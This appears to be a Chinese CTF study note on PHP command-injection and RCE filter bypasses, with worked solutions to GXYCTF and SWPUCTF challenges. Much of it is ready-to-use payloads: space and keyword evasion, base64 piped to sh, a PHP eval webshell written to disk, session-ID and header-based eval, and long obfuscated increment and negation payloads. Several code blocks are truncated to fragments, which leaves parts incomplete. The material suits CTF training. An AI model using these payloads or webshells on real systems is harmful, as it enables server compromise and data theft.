命令执行
命令执行
kunkun常见危险函数
system
system()函数可以执行系统命令, 并将命令执行的结果直接输出到界面中, 使用时直接在参数中传入需要执行的命令即可
Passthru
passthru()函数可以执行系统命令, 并将执行结果输出到页面中, 与system()函数不同的是, 它支持二进制的数据, 更多的用于文件, 图片等操作, 使用时直接在参数中传递字符串类型的系统命令即可
shell_exec
shell_exec()函数可以执行系统命令, 但它不会直接输出执行的结果, 而是返回一个字符串类型的变量来存储系统命令的执行结果, 在参数中传递需要执行的系统命令即可
反引号
反引号可以执行系统命令, 但它不会输出结果, 而是返回一个字符串类型的变量, 用来存储系统命令的执行结果, 可单独使用, 也可配合其他命令执行函数使用来绕过参数中的过滤条件
popen
popen()函数可以执行系统命令, 但不会输出执行的结果, 而是返回一个资源类型的变量用来存储系统命令的执行结果, 需要配合fread()函数来读取命令的执行结果
proc_open
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
参数:command descriptor_spec pipes
作用类似于popen
绕过方式
空格过滤绕过
1:利用大括号进行绕过
?cmd{ls,-l}
2:$IFS代替空格;$IFS,${IFS},$IFS$9
3:重定向字符 <,<>
“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的设备
?cmd=cat<flag.php
4:%09(Tab)
payload为
?cmd=cat%09flag.php
例题
**[GXYCTF 2019]**Ping Ping Ping
ping是ip的一个参数:可以联想到127.0.0.1
查看当前存在的目录文件夹:?ip=127.0.0.1;ls
找到flag.php,index.php
cat flag.php,发现空格绕过,这里使用$IFS$9进行绕过
cat index.php
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ |
可以发现对flag字符进行了绕过,
- 如果输入的 IP 地址中包含特殊符号(如 |()[]{}/“)或者一些特殊字符(如 &/?*()<空格>),则会输出 “fxck your symbol!”。
- 如果输入的 IP 地址中包含空格,则会输出 “fxck your space!”。
- 如果输入的 IP 地址中包含 “bash” 字符串,则会输出 “fxck your bash!”。
- 如果输入的 IP 地址中包含 “flag” 字符串(不区分大小写),则会输出 “fxck your flag!”。
- 最后,无论如何都会执行一个 ping 命令来测试输入的 IP 地址,并输出 ping 的结果。
解题思路: (1)创建变量实现字符串拼接:构造**/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php**即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配(内联执行)
(2)通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
构造**/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh**
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash
文件名过滤绕过
1:通配符 ? ***** 进行绕过
?cmd=passthru(‘cat f?ag.p?p’)
2:单引号和双引号绕过
?cmd=passthru(‘cat fl””‘ag.ph””p);
3:反斜杠\绕过
把特殊字符去掉功能性,单纯表示为字符串
echo 1>2
1>2
?cmd=passthru(‘cat fl\ag.p\hp’)
4:特殊变量
$1到$9,$@和$* 输出为空
?cmd=passthru(‘cat fl$1ag.p$9hp’)
5:内联执行:即自定义字符串,在拼接起来
?cmd=passthru(‘a=f;d=ag;c=l;cat $a$c$d’)
无回显时间盲注
命令盲注
页面无法shell反弹或者无法回显,或者没有写入权限,可以尝试命令盲注,根据返回时间来进行判断
相关命令
1:sleep
2:awk NR==1 #awk逐行获取数据
3:cut -c #逐个获取单个字符
4:if判断语句使用
If [ $(cat flag.php | awk NR==1 | cut -c 1 ) == f] then echo “right”;fi
常见文件读取命令绕过
1:tac 反向显示;
**?cmd=system(“**tac fl\ag.p\hp”);
2:more 一页一页的显示档案内容;
3:less 与more类似;
4:tali 查看末尾几行;
默认显示最后十行
5:nl 显示的时候,顺便输出行号;
6:od 以二进制的方式读取档案内容;
Ascill转化为字符串的形式
7:xxd 读取二进制文件;
类似于010里的左16进制右字符串的形式
8:sort 主要用于排序文件;
绝对路径+sort+flag,php
9:uniq 报告或删除文件中重复的行;
10:file -f 报错出具体内容;
11:grep 在文本中查找指定内容的字符串;
?cmd=passthru(“grep fla fla*”)
解析:从文本flag里搜索包含“fla”字符串的行
编码绕过
1:base64绕过
将cat flag.php转化为base64编码进行绕过
import base64 |
即cat flag.php -> Y2F0IGZsYWcucGhw
2:base32绕过
同上述base64一样
长度限制绕过
长度为7绕过
|
需要掌握的知识点
>a #虽然没有输入但是会创建a这个文件 |
我们需要传入的一句话木马<?php eval($_GET[1]);,经过base64编码后PD9waHAgZXZhbCgkX0dFVFsxXSk7
即我们所需要执行的语句为echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
构造payload
>hp |
长度为5绕过
|
和长度为7的一样的解法,但是这里也有其他许多解法,例如反弹shell
>dir |
长度为4绕过
预备知识:
1:输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
2:增加字母来限定被用来当作命令和参数的文件名
>ls |
3:通过rev来倒置输出内容
>rev |
4:通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置 我们之后需要用到rev 倒置输出
所以需要列出这样形式的文件名
0> t- sl
>0\> |
但是输出有点不尽人意,这里需要使用-h来使t往前拉
>0\> |
5:用dir来代替ls不换行输出
最后构建payload
>dir |
无参数RCE绕过
题目特征
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { |
正则表达式 [^\W]+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。
相关函数介绍
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
|
getcwd() :取得当前工作目录
<?php |
current() :返回数组中的单元,默认取第一个值
next():返回数组中的单元,默认取第二个值
<?php |
array_flip() :交换数组中的键和值,成功时返回交换后的数组 array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
#array_flip():将键名值进行对调 |
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
strrev():用于反转给定字符串。
dirname() :函数返回路径中的目录部分。 chdir() :函数改变当前的目录。
例题:[GXYCTF2019]禁止套娃
dirmap扫描,发现.git泄露
python2 GitHack.py http://c9a8fee7-08d6-42c9-acc9-423dfb35eafb.node5.buuoj.cn:81/.git/ |
发现index.php,如下:
|
scandir()读取
1:bp抓包,?exp=var_dump(localeconv());这里我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的
2:利用current()
函数将这个点取出来的,‘.’
代表的是当前目录
3:既然current()取第一个值,那么current(localeconv())构造一个‘.’,
而
'.'
表示当前目录,scandir('.')
将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php
4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二
5:接下来我们可以选择next()函数来读取flag.php
6:使用highlight_file来读取文件
?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
session_id()读取
hex2bin()读取
对所要执行的命令进行16进制编码,通过在Cookie: PHPSESSID=”” 添加自己所要执行的命令
最后在使用hexbin()进行解码就行,从而达到命令执行的效果
?参数=eval(hex2bin(session_id(session_start()))); |
直接读取
还是以上题为例,假如我们知道flag.php的文件时,我们直接读文件
添加:Cookie: PHPSESSID=flag.php
getallheaders()读取
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
?code=var_dump(end(getallheaders())); #print_r,echo |
sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce
get_defined_vars()读取
|
这里我们可以看出其返回的数组类型的先后顺序为$_GET–>$_POST–>$_COOKIE–>$_FILES
即我们可以多加一个参数来进行命令执行,即执行后面的恶意语句,例子如下:
a=eval(end(current(get_defined_vars())));&b=system('ls /'); |
chdir()&array_rand()读取
实在无法rce,可以进行目录遍历
结合dirname()列出当前工作目录的父目录中的所有文件和目录:
|
读根目录:
ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr()解码,有概率会解码出斜杠读取根目录
|
读上一级文件名
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
无字母数字的绕过
异或绕过
[HUBUCTF 2022 新生赛]HowToGetShell
涉及知识点:无字母RCE-异或绕过
<?php |
自增绕过
简介:
自增(Increment)通常指的是将某个值增加一个固定的增量。在编程中,自增通常用于循环计数、迭代或者更新变量的值等情况。
[SWPUCTF 2021 新生赛]hardrce_3
|
通过构造assert($POST[]);然后通过poat传参_=phpinfo()[系统所要执行的命令即可
payload
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b%24___%3d%24_%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24____.%3d%24__%3b%24_%3d%24%24____%3b%24___(%24_%5b_%5d)%3b |
搜索disable_functions,我们可以找到被禁用的函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dlpc |
Payload:
_=file_put_contents(‘1.php’,’‘);
通过写入一句话木马,蚁剑连接,得flag。
取反绕过
对所要执行的命令进行取反即可
[SWPUCTF 2021 新生赛]hardrce
<?php |
无字母rce:字母被过滤了,且设置了一个黑名单过滤了许多东西
涉及知识点:取反绕过
url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过
payload:
<?php |